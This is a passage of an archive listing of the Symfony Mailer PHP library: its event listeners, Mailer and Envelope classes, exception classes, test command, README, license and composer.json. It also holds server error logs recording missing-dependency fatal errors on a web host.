Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Message; /** * Manipulates the Envelope of a Message. * * @author Fabien Potencier <fabien@symfony.com> */ class EnvelopeListener implements EventSubscriberInterface { private ?Address $sender = null; /** * @var Address[]|null */ private ?array $recipients = null; /** * @param array<Address|string> $recipients */ public function __construct(Address|string $sender = null, array $recipients = null) { if (null !== $sender) { $this->sender = Address::create($sender); } if (null !== $recipients) { $this->recipients = Address::createArray($recipients); } } public function onMessage(MessageEvent $event): void { if ($this->sender) { $event->getEnvelope()->setSender($this->sender); $message = $event->getMessage(); if ($message instanceof Message) { if (!$message->getHeaders()->has('Sender') && !$message->getHeaders()->has('From')) { $message->getHeaders()->addMailboxHeader('Sender', $this->sender); } } } if ($this->recipients) { $event->getEnvelope()->setRecipients($this->recipients); } } public static function getSubscribedEvents(): array { return [ // should be the last one to allow header changes by other listeners first MessageEvent::class => ['onMessage', -255], ]; } } EventListener/error_log 0000644 00000006010 15111203614 0011237 0 ustar 00 [19-Nov-2025 13:54:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageListener.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageListener.php on line 28 [19-Nov-2025 13:54:37 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/EnvelopeListener.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/EnvelopeListener.php on line 24 [19-Nov-2025 13:54:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessengerTransportListener.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessengerTransportListener.php on line 24 [19-Nov-2025 13:54:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageLoggerListener.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageLoggerListener.php on line 24 [19-Nov-2025 20:03:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageListener.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageListener.php on line 28 [19-Nov-2025 20:03:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/EnvelopeListener.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/EnvelopeListener.php on line 24 [19-Nov-2025 20:03:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessengerTransportListener.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessengerTransportListener.php on line 24 [19-Nov-2025 20:03:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\EventDispatcher\EventSubscriberInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageLoggerListener.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/EventListener/MessageLoggerListener.php on line 24 EventListener/MessengerTransportListener.php 0000644 00000002636 15111203614 0015420 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Messenger\Stamp\TransportNamesStamp; use Symfony\Component\Mime\Message; /** * Allows messages to be sent to specific Messenger transports via the "X-Bus-Transport" MIME header. * * @author Fabien Potencier <fabien@symfony.com> */ final class MessengerTransportListener implements EventSubscriberInterface { public function onMessage(MessageEvent $event): void { if (!$event->isQueued()) { return; } $message = $event->getMessage(); if (!$message instanceof Message || !$message->getHeaders()->has('X-Bus-Transport')) { return; } $names = $message->getHeaders()->get('X-Bus-Transport')->getBody(); $names = array_map('trim', explode(',', $names)); $event->addStamp(new TransportNamesStamp($names)); $message->getHeaders()->remove('X-Bus-Transport'); } public static function getSubscribedEvents(): array { return [ MessageEvent::class => 'onMessage', ]; } } EventListener/MessageListener.php 0000644 00000007554 15111203614 0013143 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\Exception\InvalidArgumentException; use Symfony\Component\Mailer\Exception\RuntimeException; use Symfony\Component\Mime\BodyRendererInterface; use Symfony\Component\Mime\Header\Headers; use Symfony\Component\Mime\Header\MailboxListHeader; use Symfony\Component\Mime\Message; /** * Manipulates the headers and the body of a Message. * * @author Fabien Potencier <fabien@symfony.com> */ class MessageListener implements EventSubscriberInterface { public const HEADER_SET_IF_EMPTY = 1; public const HEADER_ADD = 2; public const HEADER_REPLACE = 3; public const DEFAULT_RULES = [ 'from' => self::HEADER_SET_IF_EMPTY, 'return-path' => self::HEADER_SET_IF_EMPTY, 'reply-to' => self::HEADER_ADD, 'to' => self::HEADER_SET_IF_EMPTY, 'cc' => self::HEADER_ADD, 'bcc' => self::HEADER_ADD, ]; private ?Headers $headers; private array $headerRules = []; private ?BodyRendererInterface $renderer; public function __construct(Headers $headers = null, BodyRendererInterface $renderer = null, array $headerRules = self::DEFAULT_RULES) { $this->headers = $headers; $this->renderer = $renderer; foreach ($headerRules as $headerName => $rule) { $this->addHeaderRule($headerName, $rule); } } public function addHeaderRule(string $headerName, int $rule): void { if ($rule < 1 || $rule > 3) { throw new InvalidArgumentException(sprintf('The "%d" rule is not supported.', $rule)); } $this->headerRules[strtolower($headerName)] = $rule; } public function onMessage(MessageEvent $event): void { $message = $event->getMessage(); if (!$message instanceof Message) { return; } $this->setHeaders($message); $this->renderMessage($message); } private function setHeaders(Message $message): void { if (!$this->headers) { return; } $headers = $message->getHeaders(); foreach ($this->headers->all() as $name => $header) { if (!$headers->has($name)) { $headers->add($header); continue; } switch ($this->headerRules[$name] ?? self::HEADER_SET_IF_EMPTY) { case self::HEADER_SET_IF_EMPTY: break; case self::HEADER_REPLACE: $headers->remove($name); $headers->add($header); break; case self::HEADER_ADD: if (!Headers::isUniqueHeader($name)) { $headers->add($header); break; } $h = $headers->get($name); if (!$h instanceof MailboxListHeader) { throw new RuntimeException(sprintf('Unable to set header "%s".', $name)); } Headers::checkHeaderClass($header); foreach ($header->getAddresses() as $address) { $h->addAddress($address); } } } } private function renderMessage(Message $message): void { if (!$this->renderer) { return; } $this->renderer->render($message); } public static function getSubscribedEvents(): array { return [ MessageEvent::class => 'onMessage', ]; } } EventListener/MessageLoggerListener.php 0000644 00000002353 15111203614 0014273 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\EventListener; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\Event\MessageEvents; use Symfony\Contracts\Service\ResetInterface; /** * Logs Messages. * * @author Fabien Potencier <fabien@symfony.com> */ class MessageLoggerListener implements EventSubscriberInterface, ResetInterface { private MessageEvents $events; public function __construct() { $this->events = new MessageEvents(); } /** * @return void */ public function reset() { $this->events = new MessageEvents(); } public function onMessage(MessageEvent $event): void { $this->events->add($event); } public function getEvents(): MessageEvents { return $this->events; } public static function getSubscribedEvents(): array { return [ MessageEvent::class => ['onMessage', -255], ]; } } Envelope.php 0000644 00000005077 15111203614 0007035 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Symfony\Component\Mailer\Exception\InvalidArgumentException; use Symfony\Component\Mailer\Exception\LogicException; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier <fabien@symfony.com> */ class Envelope { private Address $sender; private array $recipients = []; /** * @param Address[] $recipients */ public function __construct(Address $sender, array $recipients) { $this->setSender($sender); $this->setRecipients($recipients); } public static function create(RawMessage $message): self { if (RawMessage::class === $message::class) { throw new LogicException('Cannot send a RawMessage instance without an explicit Envelope.'); } return new DelayedEnvelope($message); } public function setSender(Address $sender): void { // to ensure deliverability of bounce emails independent of UTF-8 capabilities of SMTP servers if (!preg_match('/^[^@\x80-\xFF]++@/', $sender->getAddress())) { throw new InvalidArgumentException(sprintf('Invalid sender "%s": non-ASCII characters not supported in local-part of email.', $sender->getAddress())); } $this->sender = $sender; } /** * @return Address Returns a "mailbox" as specified by RFC 2822 * Must be converted to an "addr-spec" when used as a "MAIL FROM" value in SMTP (use getAddress()) */ public function getSender(): Address { return $this->sender; } /** * @param Address[] $recipients */ public function setRecipients(array $recipients): void { if (!$recipients) { throw new InvalidArgumentException('An envelope must have at least one recipient.'); } $this->recipients = []; foreach ($recipients as $recipient) { if (!$recipient instanceof Address) { throw new InvalidArgumentException(sprintf('A recipient must be an instance of "%s" (got "%s").', Address::class, get_debug_type($recipient))); } $this->recipients[] = new Address($recipient->getAddress()); } } /** * @return Address[] */ public function getRecipients(): array { return $this->recipients; } } README.md 0000644 00000004115 15111203614 0006016 0 ustar 00 Mailer Component ================ The Mailer component helps sending emails. Getting Started --------------- ``` $ composer require symfony/mailer ``` ```php use Symfony\Component\Mailer\Transport; use Symfony\Component\Mailer\Mailer; use Symfony\Component\Mime\Email; $transport = Transport::fromDsn('smtp://localhost'); $mailer = new Mailer($transport); $email = (new Email()) ->from('hello@example.com') ->to('you@example.com') //->cc('cc@example.com') //->bcc('bcc@example.com') //->replyTo('fabien@example.com') //->priority(Email::PRIORITY_HIGH) ->subject('Time for Symfony Mailer!') ->text('Sending emails is fun again!') ->html('<p>See Twig integration for better HTML integration!</p>'); $mailer->send($email); ``` To enable the Twig integration of the Mailer, require `symfony/twig-bridge` and set up the `BodyRenderer`: ```php use Symfony\Bridge\Twig\Mime\BodyRenderer; use Symfony\Bridge\Twig\Mime\TemplatedEmail; use Symfony\Component\EventDispatcher\EventDispatcher; use Symfony\Component\Mailer\EventListener\MessageListener; use Symfony\Component\Mailer\Mailer; use Symfony\Component\Mailer\Transport; use Twig\Environment as TwigEnvironment; $twig = new TwigEnvironment(...); $messageListener = new MessageListener(null, new BodyRenderer($twig)); $eventDispatcher = new EventDispatcher(); $eventDispatcher->addSubscriber($messageListener); $transport = Transport::fromDsn('smtp://localhost', $eventDispatcher); $mailer = new Mailer($transport, null, $eventDispatcher); $email = (new TemplatedEmail()) // ... ->htmlTemplate('emails/signup.html.twig') ->context([ 'expiration_date' => new \DateTime('+7 days'), 'username' => 'foo', ]) ; $mailer->send($email); ``` Resources --------- * [Documentation](https://symfony.com/doc/current/mailer.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) LICENSE 0000644 00000002054 15111203614 0005544 0 ustar 00 Copyright (c) 2019-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Command/MailerTestCommand.php 0000644 00000005015 15111203614 0012176 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Component\Mime\Email; /** * A console command to test Mailer transports. */ #[AsCommand(name: 'mailer:test', description: 'Test Mailer transports by sending an email')] final class MailerTestCommand extends Command { public function __construct(private TransportInterface $transport) { $this->transport = $transport; parent::__construct(); } protected function configure(): void { $this ->addArgument('to', InputArgument::REQUIRED, 'The recipient of the message') ->addOption('from', null, InputOption::VALUE_OPTIONAL, 'The sender of the message', 'from@example.org') ->addOption('subject', null, InputOption::VALUE_OPTIONAL, 'The subject of the message', 'Testing transport') ->addOption('body', null, InputOption::VALUE_OPTIONAL, 'The body of the message', 'Testing body') ->addOption('transport', null, InputOption::VALUE_OPTIONAL, 'The transport to be used') ->setHelp(<<<'EOF' The <info>%command.name%</info> command tests a Mailer transport by sending a simple email message: <info>php %command.full_name% to@example.com</info> You can also specify a specific transport: <info>php %command.full_name% to@example.com --transport=transport_name</info> Note that this command bypasses the Messenger bus if configured. EOF ); } protected function execute(InputInterface $input, OutputInterface $output): int { $message = (new Email()) ->to($input->getArgument('to')) ->from($input->getOption('from')) ->subject($input->getOption('subject')) ->text($input->getOption('body')) ; if ($transport = $input->getOption('transport')) { $message->getHeaders()->addTextHeader('X-Transport', $transport); } $this->transport->send($message); return 0; } } Command/error_log 0000644 00000002554 15111203614 0010037 0 ustar 00 [19-Nov-2025 21:27:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php on line 27 [19-Nov-2025 21:35:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php on line 27 [19-Nov-2025 22:50:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php on line 27 [19-Nov-2025 22:59:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Command/MailerTestCommand.php on line 27 Mailer.php 0000644 00000005504 15111203614 0006464 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Psr\EventDispatcher\EventDispatcherInterface; use Symfony\Component\Mailer\Event\MessageEvent; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mailer\Messenger\SendEmailMessage; use Symfony\Component\Mailer\Transport\TransportInterface; use Symfony\Component\Messenger\Exception\HandlerFailedException; use Symfony\Component\Messenger\MessageBusInterface; use Symfony\Component\Mime\RawMessage; /** * @author Fabien Potencier <fabien@symfony.com> */ final class Mailer implements MailerInterface { private TransportInterface $transport; private ?MessageBusInterface $bus; private ?EventDispatcherInterface $dispatcher; public function __construct(TransportInterface $transport, MessageBusInterface $bus = null, EventDispatcherInterface $dispatcher = null) { $this->transport = $transport; $this->bus = $bus; $this->dispatcher = $dispatcher; } public function send(RawMessage $message, Envelope $envelope = null): void { if (null === $this->bus) { $this->transport->send($message, $envelope); return; } $stamps = []; if (null !== $this->dispatcher) { // The dispatched event here has `queued` set to `true`; the goal is NOT to render the message, but to let // listeners do something before a message is sent to the queue. // We are using a cloned message as we still want to dispatch the **original** message, not the one modified by listeners. // That's because the listeners will run again when the email is sent via Messenger by the transport (see `AbstractTransport`). // Listeners should act depending on the `$queued` argument of the `MessageEvent` instance. $clonedMessage = clone $message; $clonedEnvelope = null !== $envelope ? clone $envelope : Envelope::create($clonedMessage); $event = new MessageEvent($clonedMessage, $clonedEnvelope, (string) $this->transport, true); $this->dispatcher->dispatch($event); $stamps = $event->getStamps(); if ($event->isRejected()) { return; } } try { $this->bus->dispatch(new SendEmailMessage($message, $envelope), $stamps); } catch (HandlerFailedException $e) { foreach ($e->getNestedExceptions() as $nested) { if ($nested instanceof TransportExceptionInterface) { throw $nested; } } throw $e; } } } MailerInterface.php 0000644 00000001373 15111203614 0010305 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer; use Symfony\Component\Mailer\Exception\TransportExceptionInterface; use Symfony\Component\Mime\RawMessage; /** * Interface for mailers able to send emails synchronous and/or asynchronous. * * Implementations must support synchronous and asynchronous sending. * * @author Fabien Potencier <fabien@symfony.com> */ interface MailerInterface { /** * @throws TransportExceptionInterface */ public function send(RawMessage $message, Envelope $envelope = null): void; } Exception/TransportException.php 0000644 00000001206 15111203614 0013057 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * @author Fabien Potencier <fabien@symfony.com> */ class TransportException extends RuntimeException implements TransportExceptionInterface { private string $debug = ''; public function getDebug(): string { return $this->debug; } public function appendDebug(string $debug): void { $this->debug .= $debug; } } Exception/ExceptionInterface.php 0000644 00000000720 15111203614 0012763 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * Exception interface for all exceptions thrown by the component. * * @author Fabien Potencier <fabien@symfony.com> */ interface ExceptionInterface extends \Throwable { } Exception/LogicException.php 0000644 00000000645 15111203614 0012126 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * @author Fabien Potencier <fabien@symfony.com> */ class LogicException extends \LogicException implements ExceptionInterface { } Exception/RuntimeException.php 0000644 00000000651 15111203614 0012511 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * @author Fabien Potencier <fabien@symfony.com> */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } Exception/HttpTransportException.php 0000644 00000001470 15111203614 0013722 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; use Symfony\Contracts\HttpClient\ResponseInterface; /** * @author Fabien Potencier <fabien@symfony.com> */ class HttpTransportException extends TransportException { private ResponseInterface $response; public function __construct(string $message, ResponseInterface $response, int $code = 0, \Throwable $previous = null) { parent::__construct($message, $code, $previous); $this->response = $response; } public function getResponse(): ResponseInterface { return $this->response; } } Exception/error_log 0000644 00000005652 15111203614 0010421 0 ustar 00 [19-Nov-2025 12:38:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Exception\LogicException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/UnsupportedSchemeException.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/UnsupportedSchemeException.php on line 20 [19-Nov-2025 12:41:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/RuntimeException.php on line 17 [19-Nov-2025 12:42:37 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Exception\RuntimeException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/TransportException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/TransportException.php on line 17 [19-Nov-2025 12:46:36 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/InvalidArgumentException.php on line 17 [19-Nov-2025 12:47:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/TransportExceptionInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/TransportExceptionInterface.php on line 17 [19-Nov-2025 12:49:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Exception\TransportException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/HttpTransportException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/HttpTransportException.php on line 19 [19-Nov-2025 12:50:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mailer\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/LogicException.php on line 17 [19-Nov-2025 12:57:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mailer\Exception\InvalidArgumentException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/IncompleteDsnException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/Exception/IncompleteDsnException.php on line 17 Exception/IncompleteDsnException.php 0000644 00000000635 15111203614 0013634 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ class IncompleteDsnException extends InvalidArgumentException { } Exception/UnsupportedSchemeException.php 0000644 00000006276 15111203614 0014554 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; use Symfony\Component\Mailer\Bridge; use Symfony\Component\Mailer\Transport\Dsn; /** * @author Konstantin Myakshin <molodchick@gmail.com> */ class UnsupportedSchemeException extends LogicException { private const SCHEME_TO_PACKAGE_MAP = [ 'gmail' => [ 'class' => Bridge\Google\Transport\GmailTransportFactory::class, 'package' => 'symfony/google-mailer', ], 'infobip' => [ 'class' => Bridge\Infobip\Transport\InfobipTransportFactory::class, 'package' => 'symfony/infobip-mailer', ], 'mailersend' => [ 'class' => Bridge\MailerSend\Transport\MailerSendTransportFactory::class, 'package' => 'symfony/mailersend-mailer', ], 'mailgun' => [ 'class' => Bridge\Mailgun\Transport\MailgunTransportFactory::class, 'package' => 'symfony/mailgun-mailer', ], 'mailjet' => [ 'class' => Bridge\Mailjet\Transport\MailjetTransportFactory::class, 'package' => 'symfony/mailjet-mailer', ], 'mandrill' => [ 'class' => Bridge\Mailchimp\Transport\MandrillTransportFactory::class, 'package' => 'symfony/mailchimp-mailer', ], 'ohmysmtp' => [ 'class' => Bridge\OhMySmtp\Transport\OhMySmtpTransportFactory::class, 'package' => 'symfony/oh-my-smtp-mailer', ], 'postmark' => [ 'class' => Bridge\Postmark\Transport\PostmarkTransportFactory::class, 'package' => 'symfony/postmark-mailer', ], 'sendgrid' => [ 'class' => Bridge\Sendgrid\Transport\SendgridTransportFactory::class, 'package' => 'symfony/sendgrid-mailer', ], 'sendinblue' => [ 'class' => Bridge\Sendinblue\Transport\SendinblueTransportFactory::class, 'package' => 'symfony/sendinblue-mailer', ], 'ses' => [ 'class' => Bridge\Amazon\Transport\SesTransportFactory::class, 'package' => 'symfony/amazon-mailer', ], ]; public function __construct(Dsn $dsn, string $name = null, array $supported = []) { $provider = $dsn->getScheme(); if (false !== $pos = strpos($provider, '+')) { $provider = substr($provider, 0, $pos); } $package = self::SCHEME_TO_PACKAGE_MAP[$provider] ?? null; if ($package && !class_exists($package['class'])) { parent::__construct(sprintf('Unable to send emails via "%s" as the bridge is not installed. Try running "composer require %s".', $provider, $package['package'])); return; } $message = sprintf('The "%s" scheme is not supported', $dsn->getScheme()); if ($name && $supported) { $message .= sprintf('; supported schemes for mailer "%s" are: "%s"', $name, implode('", "', $supported)); } parent::__construct($message.'.'); } } Exception/TransportExceptionInterface.php 0000644 00000000772 15111203614 0014707 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * @author Fabien Potencier <fabien@symfony.com> */ interface TransportExceptionInterface extends ExceptionInterface { public function getDebug(): string; public function appendDebug(string $debug): void; } Exception/InvalidArgumentException.php 0000644 00000000671 15111203614 0014161 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\Exception; /** * @author Fabien Potencier <fabien@symfony.com> */ class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } composer.json 0000644 00000002442 15111203614 0007262 0 ustar 00 { "name": "symfony/mailer", "type": "library", "description": "Helps sending emails", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "egulias/email-validator": "^2.1.10|^3|^4", "psr/event-dispatcher": "^1", "psr/log": "^1|^2|^3", "symfony/event-dispatcher": "^5.4|^6.0", "symfony/mime": "^6.2", "symfony/service-contracts": "^2.5|^3" }, "require-dev": { "symfony/console": "^5.4|^6.0", "symfony/http-client": "^5.4|^6.0", "symfony/messenger": "^6.2", "symfony/twig-bridge": "^6.2" }, "conflict": { "symfony/http-client-contracts": "<2.5", "symfony/http-kernel": "<5.4", "symfony/messenger": "<6.2", "symfony/mime": "<6.2", "symfony/twig-bridge": "<6.2.1" }, "autoload": { "psr-4": { "Symfony\\Component\\Mailer\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } DataCollector/error_log 0000644 00000000574 15111203614 0011201 0 ustar 00 [20-Nov-2025 10:02:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpKernel\DataCollector\DataCollector" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DataCollector/MessageDataCollector.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mailer/DataCollector/MessageDataCollector.php on line 23 DataCollector/MessageDataCollector.php 0000644 00000002545 15111203614 0014022 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mailer\DataCollector; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\DataCollector\DataCollector; use Symfony\Component\Mailer\Event\MessageEvents; use Symfony\Component\Mailer\EventListener\MessageLoggerListener; /** * @author Fabien Potencier <fabien@symfony.com> */ final class MessageDataCollector extends DataCollector { private 